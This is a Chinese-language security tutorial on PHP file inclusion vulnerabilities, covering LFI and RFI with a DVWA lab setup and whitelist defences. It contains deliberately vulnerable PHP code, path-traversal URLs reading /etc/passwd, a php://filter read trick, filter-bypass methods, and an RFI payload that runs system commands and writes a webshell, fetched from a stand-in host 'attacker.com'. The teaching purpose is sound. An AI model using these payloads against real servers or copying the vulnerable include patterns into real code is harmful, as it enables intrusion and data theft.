漏洞解析--文件包含漏洞(含漏洞复现)
漏洞解析–文件包含漏洞含漏洞复现1. 漏洞概述文件包含漏洞File Inclusion Vulnerability是一种常见且危险的Web安全漏洞主要出现在PHP、ASP、JSP等动态脚本语言中。该漏洞的核心在于应用程序在动态包含文件时用户能够控制被包含文件的路径从而引发敏感信息泄露、远程代码执行等严重后果。根据攻击者控制文件来源的不同文件包含漏洞可分为两类-本地文件包含LFILocal File Inclusion攻击者通过包含服务器本地的文件来获取敏感信息如/etc/passwd、日志文件等。-远程文件包含RFIRemote File Inclusion攻击者可以包含远程服务器上的恶意文件通常需要服务器配置allow_url_includeOn。文件包含漏洞的根源在于开发人员对用户输入的参数缺乏严格的过滤和验证直接将用户可控的数据拼接到文件路径中通过include()、require()等函数执行。## 2. 漏洞原理### 2.1 核心函数机制PHP中的文件包含函数如include、require、include_once、require_once会将指定文件的内容作为PHP代码执行。当路径参数来自用户输入且未经充分过滤时攻击者可以构造恶意路径。例如一个典型的漏洞代码如下php// vulnerable.php$page $_GET[page];include($page . .php);攻击者可以传入page../../etc/passwd%00利用PHP 5.3.4之前的空字节截断特性或直接传入完整路径。### 2.2 危险函数列表| 函数名 | 作用 ||--------|------||include()| 包含并运行指定文件 ||require()| 与include类似但出错时产生致命错误 ||include_once()| 同include但避免重复包含 ||require_once()| 同require但避免重复包含 ||file_get_contents()| 读取文件内容 ||fopen()| 打开文件 |## 3. 漏洞复现环境搭建### 3.1 使用Docker快速搭建靶机我们使用一个经典的DVWADamn Vulnerable Web Application环境来演示bash# 拉取DVWA镜像docker pull vulnerables/web-dvwa# 运行容器docker run -d -p 8080:80 vulnerables/web-dvwa访问http://localhost:8080使用默认凭据admin/password登录进入DVWA的安全等级设置为low然后选择File Inclusion模块。### 3.2 手动搭建PHP环境如果你希望从零搭建可以创建一个简单的PHP文件php?php// file_inclusion_demo.php - 演示文件包含漏洞// 警告此代码仅供安全研究学习使用请勿部署到生产环境// 模拟一个简单的页面路由$page isset($_GET[file]) ? $_GET[file] : home;// 危险操作直接使用用户输入作为文件路径// 未做任何过滤和校验include($page . .php);?## 4. 漏洞复现含代码示例### 4.1 本地文件包含LFI复现假设我们有如下易受攻击的代码php?php/** * lfi_vulnerable.php - 本地文件包含漏洞演示 * 原理用户通过GET参数file控制包含的文件路径 * 危害可读取服务器任意文件 */// 获取用户输入$file $_GET[file];// 不加任何过滤直接包含// 攻击者可以突破目录限制include($file);?攻击者可以通过以下URL进行攻击http://target.com/lfi_vulnerable.php?file../../../../etc/passwd如果服务器运行在Linux系统上将返回密码文件内容注意现代Linux系统密码存储在/etc/shadow但/etc/passwd仍可读取用户名等信息。### 4.2 利用php://filter进行文件读取当直接包含时PHP会尝试执行文件内容。如果我们只想读取文件而不执行可以使用PHP流包装器php?php/** * lfi_filter_demo.php - 使用php://filter读取文件 * 原理PHP的filter流包装器可以对文件内容进行编码 * 使用base64编码可以避免PHP解析文件中的?php标签 */// 用户控制的文件名$file $_GET[file];// 构造filter链读取文件并base64编码// 这样即使文件包含PHP代码也不会被执行$filtered_path php://filter/readconvert.base64-encode/resource . $file;// 包含经过filter处理的文件流include($filtered_path);?攻击URL示例http://target.com/lfi_filter_demo.php?file../../../../etc/passwd返回的内容是base64编码后的文件内容需要解码查看bashecho cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo... | base64 -d### 4.3 远程文件包含RFI复现远程文件包含需要服务器开启allow_url_include选项默认关闭。假设服务器已配置此选项php?php/** * rfi_vulnerable.php - 远程文件包含漏洞演示 * 前提php.ini中allow_url_include On * 危害可包含远程恶意代码导致远程代码执行 */$page $_GET[page];include($page . .php);?攻击者准备一个远程恶意文件evil.txt实际攻击使用.txt或.phar等扩展名绕过限制php?php// evil.php - 远程恶意代码// 执行系统命令system($_GET[cmd]);// 或者写入Webshell$handle fopen(shell.php, w);fwrite($handle, ?php system($_GET[c]); ?);fclose($handle);?攻击者使用如下URLhttp://target.com/rfi_vulnerable.php?pagehttp://attacker.com/evil当服务器包含远程文件时恶意代码被执行攻击者获得命令执行能力http://target.com/rfi_vulnerable.php?pagehttp://attacker.com/evilcmdid## 5. 利用技巧与绕过方法### 5.1 常见文件路径-Linux系统/etc/passwd、/etc/shadow、/proc/self/environ、/proc/self/fd/*-Windows系统C:\boot.ini、C:\windows\system32\drivers\etc\hosts### 5.2 绕过过滤技巧1.路径遍历使用../序列2.URL编码..%2f、%2e%2e%2f3.双写绕过....//当过滤会删除../时4.空字节截断file.txt%00.php仅PHP 5.3.4有效5.长路径截断../../etc/passwd...............Windows路径长度限制## 6. 防御措施### 6.1 白名单验证php?php/** * secure_include.php - 安全文件包含实现 * 使用白名单机制防止文件包含漏洞 */// 定义允许包含的文件白名单$allowed_pages [ home, about, contact, services];$page $_GET[page];// 严格校验只允许白名单中的文件if (in_array($page, $allowed_pages)) { include($page . .php);} else { // 非法请求记录日志并返回错误 error_log(Attempted file inclusion: . $page); die(Invalid page requested.);}?### 6.2 其他防御策略-禁用危险函数在php.ini中设置allow_url_includeOff-路径规范化使用realpath()获取绝对路径后再校验-输入验证只允许字母、数字和下划线-最小权限原则Web应用使用低权限用户运行-使用框架路由现代框架如Laravel、Symfony内置了安全路由机制## 7. 总结文件包含漏洞是Web安全领域最经典的漏洞之一其根源在于对用户输入的路径参数缺乏严格验证。通过本文的深入剖析和代码复现我们可以看到1.原理清晰文件包含函数直接使用用户可控路径导致攻击者可以读取系统文件或执行远程代码。2.危害严重从信息泄露LFI到远程代码执行RFI攻击者可以完全控制服务器。3.防御可行通过白名单验证、禁用危险配置、路径规范化等方法可以有效防御。作为开发者应该始终牢记“永远不要信任用户输入”的安全原则。在需要动态包含文件时优先使用白名单机制避免直接拼接用户输入到文件路径中。对于安全从业者理解文件包含漏洞的原理和利用技巧有助于更好地进行渗透测试和安全审计工作。记住安全不是一次性的工作而是持续的过程。在编写每一行代码时都应该考虑潜在的安全风险。